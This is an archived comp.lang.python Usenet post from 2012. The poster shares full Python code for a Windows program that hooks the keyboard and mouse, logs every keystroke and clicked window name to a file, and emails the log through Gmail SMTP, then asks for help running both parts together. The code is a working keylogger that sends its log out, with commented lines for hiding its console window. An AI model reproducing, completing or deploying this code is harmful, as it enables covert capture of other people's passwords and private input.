Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]
Groups > comp.lang.python > #34124
| Path | csiph.com!usenet.pasdenom.info!weretis.net!feeder1.news.weretis.net!feeder.erje.net!eu.feeder.erje.net!newsfeed.xs4all.nl!newsfeed3.news.xs4all.nl!xs4all!post.news.xs4all.nl!not-for-mail |
|---|---|
| Return-Path | <doronmmm@gmail.com> |
| X-Original-To | python-list@python.org |
| Delivered-To | python-list@mail.python.org |
| X-Spam-Status | OK 0.001 |
| X-Spam-Evidence | '*H*': 1.00; '*S*': 0.00; 'else:': 0.03; 'elif': 0.04; 'completeness': 0.07; 'except:': 0.07; 'msg': 0.07; 'try:': 0.07; 'python': 0.09; '"can\'t': 0.09; 'msg)': 0.09; 'thread,': 0.09; 'to:addr:comp.lang.python': 0.09; 'cc:addr:python-list': 0.10; 'def': 0.10; 'skip:# 20': 0.13; 'ahead!': 0.16; 'alot': 0.16; 'disclaimers': 0.16; 'disclaimers,': 0.16; 'exit()': 0.16; 'fromaddr': 0.16; 'securities,': 0.16; 'sense,': 0.16; 'smtplib': 0.16; 'threading': 0.16; 'time.time()': 0.16; 'toaddrs': 0.16; 'url:disclosures': 0.16; 'url:jpmorgan': 0.16; 'win32api': 0.16; 'win32gui': 0.16; 'wrote:': 0.17; 'example.': 0.17; 'version.': 0.17; 'import': 0.21; 'please?': 0.22; 'sends': 0.22; 'skip:= 20': 0.22; "i've": 0.23; 'cc:2**1': 0.24; 'pass': 0.25; 'cc:addr:python.org': 0.25; 'header:In-Reply-To:1': 0.25; 'header :User-Agent:1': 0.26; 'cc:addr:gmail.com': 0.27; 'sender,': 0.27; 'accuracy': 0.27; 'use?': 0.29; "i'm": 0.29; 'code': 0.31; 'getting': 0.33; 'skip:s 30': 0.33; 'code:': 0.33; 'version': 0.34; "can't": 0.34; 'received:google.com': 0.34; 'wrong': 0.34; 'thanks': 0.34; 'server': 0.35; 'received:209.85': 0.35; 'but': 0.36; "wasn't": 0.36; "didn't": 0.36; 'skip:p 20': 0.36; 'being': 0.37; 'passed': 0.37; 'received:209': 0.37; 'subject:: ': 0.38; 'skip:o 20': 0.38; 'sure': 0.38; 'release': 0.39; 'skip:" 10': 0.40; 'help': 0.40; 'address': 0.60; 'from:no real name:2**0': 0.60; 'you.': 0.61; 'skip:w 30': 0.61; 'latest': 0.61; 'helping': 0.63; 'information,': 0.63; 'url:email': 0.63; 'legal': 0.65; 'subject': 0.66; 'purchase': 0.67; 'records': 0.68; 'skip:\xd7 10': 0.69; '8bit%:100': 0.70; 'hey,': 0.72; 'sale': 0.76; '13:': 0.84; 'mails': 0.88; 'recorder': 0.91; 'period.': 0.95 |
| Newsgroups | comp.lang.python |
| Date | Sat, 1 Dec 2012 05:38:39 -0800 (PST) |
| In-Reply-To | <mailman.391.1354304894.29569.python-list@python.org> |
| Complaints-To | groups-abuse@google.com |
| Injection-Info | glegroupsg2000goo.googlegroups.com; posting-host=109.67.145.97; posting-account=1S80FQoAAABelYPIfKhSxSIVe-Ku-JLH |
| References | <9cc06bdd-8254-4f6b-9ce3-0a43b229ca14@googlegroups.com> <mailman.391.1354304894.29569.python-list@python.org> |
| User-Agent | G2/1.0 |
| X-Google-Web-Client | true |
| X-Google-IP | 109.67.145.97 |
| MIME-Version | 1.0 |
| Subject | Re: pyHook and time libraries |
| From | doronmmm@gmail.com |
| To | comp.lang.python@googlegroups.com |
| Content-Type | text/plain; charset=UTF-8 |
| Content-Transfer-Encoding | quoted-printable |
| Cc | Doron <dorimeshi@gmail.com>, "python-list@python.org" <python-list@python.org> |
| X-BeenThere | python-list@python.org |
| X-Mailman-Version | 2.1.15 |
| Precedence | list |
| List-Id | General discussion list for the Python programming language <python-list.python.org> |
| List-Unsubscribe | <http://mail.python.org/mailman/options/python-list>, <mailto:python-list-request@python.org?subject=unsubscribe> |
| List-Archive | <http://mail.python.org/pipermail/python-list/> |
| List-Post | <mailto:python-list@python.org> |
| List-Help | <mailto:python-list-request@python.org?subject=help> |
| List-Subscribe | <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request@python.org?subject=subscribe> |
| Message-ID | <mailman.402.1354369123.29569.python-list@python.org> (permalink) |
| Lines | 182 |
| NNTP-Posting-Host | 2001:888:2000:d::a6 |
| X-Trace | 1354369123 news.xs4all.nl 6940 [2001:888:2000:d::a6]:39075 |
| X-Complaints-To | abuse@xs4all.nl |
| Xref | csiph.com comp.lang.python:34124 |
Show key headers only | View raw
בתאריך יום שישי, 30 בנובמבר 2012 21:47:57 UTC+2, מאת Prasad, Ramit:
> Doron wrote:
>
> >
>
> > Hey, I'm tring to create a software that records the keyboard/mouse and sends email of the log every
>
> > predetermined period.
>
> >
>
> > I've manage to make the recorder and the auto-email sender, but I still can't make both of them work
>
> > simultaneously.
>
> >
>
> > Can someone help me with this please?
>
> > I thought about threading but again... It just sends blank mails without the logs.
>
> >
>
> > Thanks alot ahead!
>
>
>
> I am not sure how to even begin helping you. I do not even know
>
> what is wrong other than "can't make both of them work simultaneously".
>
> What version of Python and OS? Are you using any 3rd party modules?
>
> What is the code you use? What happens and what do you expect? How
>
> are you getting the logs for email? Are they being passed in or are
>
> you using a log file?
>
>
>
>
>
> ~Ramit
>
>
>
>
>
>
>
> This email is confidential and subject to important disclaimers and
>
> conditions including on offers for the purchase or sale of
>
> securities, accuracy and completeness of information, viruses,
>
> confidentiality, legal privilege, and legal entity disclaimers,
>
> available at http://www.jpmorgan.com/pages/disclosures/email.
This is the code:
=======================
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
import time
import thread, threading
#win = win32console.GetConsoleWindow()
#win32gui.ShowWindow(win,0)
log = ""
logpath = "log.txt"
openfile = open(logpath,"w")
openfile.write("")
#openfile = open(logpath,"r+")
l = threading.Lock()
def sendEmail():
print("ready to send email")
fromaddr = 'email@gmail.com'
toaddrs = 'email@gmail.com'
msg = open('log.txt',"r").read()
username = 'something'
password = 'something'
server = smtplib.SMTP('smtp.gmail.com:587')
server.starttls()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
print("mail sent")
def sendEmailAuto(dt,openfile):
tt = time.time()
nn = tt+dt
while tt<nn:
print(tt,nn)
if tt>=nn-0.5:
#l.acquire() <== I wasn't sure if I need to lock and release it, it makes sense, but I didn't understand how to use it in python
msg = open('log.txt',"r").read()
print(msg)
sendEmail()
tt = time.time()
nn = tt+dt
log = ""
#l.release()
else:
tt = time.time()
def OnKeyboardEvent(event):
try:
global log
if event.Alt == 32 and event.KeyID == 160:
log = "[LangCh]"
elif event.KeyID>=37 and event.KeyID<=40:
log = "["+event.Key+"]"
elif event.Ascii == 8:
log = "[BS]"
elif event.Ascii == 9:
log = "[TAB]"
elif event.Ascii == 13:
log = "[NL]"
elif event.Ascii == 27:
log = "[ESC]"
elif event.Alt == 32 and event.KeyID == 75:
openfile.close()
sendEmail()
exit()
else:
log = chr(event.Ascii)
openfile.write(log)
except:
pass
return True
def OnMouseEvent(event):
global log
if event.MessageName == "mouse left down":
log = "<"+event.WindowName +">\n"
openfile.write(log)
if event.MessageName == "mouse left up" and event.WindowName == None :
log = "-\n"
openfile.write(log)
return True
thread.start_new_thread(sendEmailAuto, (10,openfile))
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent
hm.HookKeyboard()
hm2.HookMouse()
pythoncom.PumpMessages()
========================================
i want that an email will be sent to the address every 5 minutes for example.
i'm working on Windows7 and the latest python version.
Back to comp.lang.python | Previous | Next — Previous in thread | Find similar | Unroll thread
pyHook and time libraries Doron <dorimeshi@gmail.com> - 2012-11-29 22:03 -0800
RE: pyHook and time libraries "Prasad, Ramit" <ramit.prasad@jpmorgan.com> - 2012-11-30 19:47 +0000
Re: pyHook and time libraries doronmmm@gmail.com - 2012-12-01 05:38 -0800
Re: pyHook and time libraries Dennis Lee Bieber <wlfraed@ix.netcom.com> - 2012-12-01 14:26 -0500
Re: pyHook and time libraries doronmmm@gmail.com - 2012-12-01 05:38 -0800
csiph-web